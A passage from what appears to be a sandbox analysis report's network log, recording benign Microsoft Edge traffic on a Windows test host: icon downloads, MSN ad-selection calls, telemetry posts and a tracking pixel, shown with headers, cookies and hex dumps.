2024-11-28 14:17:47 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49872	13.107.246.40	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:46 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:17:47 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:46 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 91faf48f-601e-005e-307f-409b04000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T141746Z-174f7845968jrjrxhC1EWRmmrs0000000yn000000000arth Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 14:17:47 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49877	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:48 UTC	458	OUT	GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=68c4ec1374684e91a583b5eed7b03ab7&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=04D75D34A2516129171A4871A32360BE; MSPTC=fZAH-J3kacAMjcbI1ORRiK1I_vSQlNQng7WZl9eJGHM; MR=0
2024-11-28 14:17:48 UTC	601	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: DFC8F987ACA3467EB70AC39BAC213D8E Ref B: EWR311000107039 Ref C: 2024-11-28T14:17:48Z Date: Thu, 28 Nov 2024 14:17:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49880	13.107.246.40	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:48 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:17:49 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:48 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 19199b86-801e-001b-0191-404695000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T141748Z-174f78459684bddphC1EWRbht40000000y7g000000009rpv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 14:17:49 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49881	13.107.246.40	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:48 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:17:49 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:48 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 915fc15d-601e-0011-4de1-405f1c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T141748Z-174f7845968psccphC1EWRuz9s0000000yr000000000bsk5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 14:17:49 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49885	20.75.60.91	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:57 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=03480115B31365D60A331450B23A64BD&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=500f709dc9c04c85d50c8eb614b987ed HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=03480115B31365D60A331450B23A64BD; _EDGE_S=F=1&SID=002C77539302677924126216926166F5; _EDGE_V=1
2024-11-28 14:17:57 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 14:17:56 GMT Connection: close
2024-11-28 14:17:57 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49883	20.189.173.2	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:57 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732803473889&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 7311 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=03480115B31365D60A331450B23A64BD; _EDGE_S=F=1&SID=002C77539302677924126216926166F5; _EDGE_V=1
2024-11-28 14:17:57 UTC	7311	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 41 70 70 45 72 72 6f 72 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 31 34 3a 31 37 3a 35 33 2e 38 38 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 61 61 66 39 39 66 66 2d 65 61 31 36 2d 34 39 38 36 2d 61 61 35 61 2d 33 61 32 33 38 34 66 36 36 38 63 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 38 34 31 34 37 39 37 35 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.AppError","time":"2024-11-28T14:17:53.884Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"aaaf99ff-ea16-4986-aa5a-3a2384f668cd","epoch":"2841479759"},"app":{"locale
2024-11-28 14:17:57 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=5c9aad802b6f429f8519c0766d2fdd6b&HASH=5c9a&LV=202411&V=4&LU=1732803477423; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 14:17:57 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ad38b57bbfb7489eafa28543b95fa1cc; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 14:47:57 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3534 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 14:17:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49884	20.189.173.2	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:57 UTC	1035	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732803473894&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3741 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=03480115B31365D60A331450B23A64BD; _EDGE_S=F=1&SID=002C77539302677924126216926166F5; _EDGE_V=1
2024-11-28 14:17:57 UTC	3741	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 41 70 70 45 72 72 6f 72 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 31 34 3a 31 37 3a 35 33 2e 38 39 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 61 61 66 39 39 66 66 2d 65 61 31 36 2d 34 39 38 36 2d 61 61 35 61 2d 33 61 32 33 38 34 66 36 36 38 63 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 38 34 31 34 37 39 37 35 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.AppError","time":"2024-11-28T14:17:53.893Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"aaaf99ff-ea16-4986-aa5a-3a2384f668cd","epoch":"2841479759"},"app":{"locale
2024-11-28 14:17:57 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=74fb6e31cdee4a43bf18b176e5c05d1a&HASH=74fb&LV=202411&V=4&LU=1732803477426; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 14:17:57 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=6b5f8be3ad5e4416bccec3a6aad863d1; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 14:47:57 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3532 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 14:17:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49882	20.189.173.2	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:57 UTC	1035	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732803473897&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3762 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=03480115B31365D60A331450B23A64BD; _EDGE_S=F=1&SID=002C77539302677924126216926166F5; _EDGE_V=1
2024-11-28 14:17:57 UTC	3762	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 31 34 3a 31 37 3a 35 33 2e 38 39 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 61 61 66 39 39 66 66 2d 65 61 31 36 2d 34 39 38 36 2d 61 61 35 61 2d 33 61 32 33 38 34 66 36 36 38 63 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 38 34 31 34 37 39 37 35 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-28T14:17:53.896Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"aaaf99ff-ea16-4986-aa5a-3a2384f668cd","epoch":"2841479759"},"app":{"locale
2024-11-28 14:17:58 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7ed32b08b62449fa96cf58aef132940a&HASH=7ed3&LV=202411&V=4&LU=1732803477905; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 14:17:57 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=5d475b2e4c6541e691e9070c00c376e3; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 14:47:57 GMT; Path=/;Secure; SameSite=None time-delta-millis: 4008 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 14:17:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49886	20.110.205.119	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:58 UTC	1271	OUT	GET /c.gif?rnd=1732803473898&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=2ebfad5dc1554fbeaed98f30db61d7ff&activityId=2ebfad5dc1554fbeaed98f30db61d7ff&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=54462BDC60444E06B2A27D745EBF6E9D&MUID=03480115B31365D60A331450B23A64BD HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=03480115B31365D60A331450B23A64BD; _EDGE_S=F=1&SID=002C77539302677924126216926166F5; _EDGE_V=1; SM=T
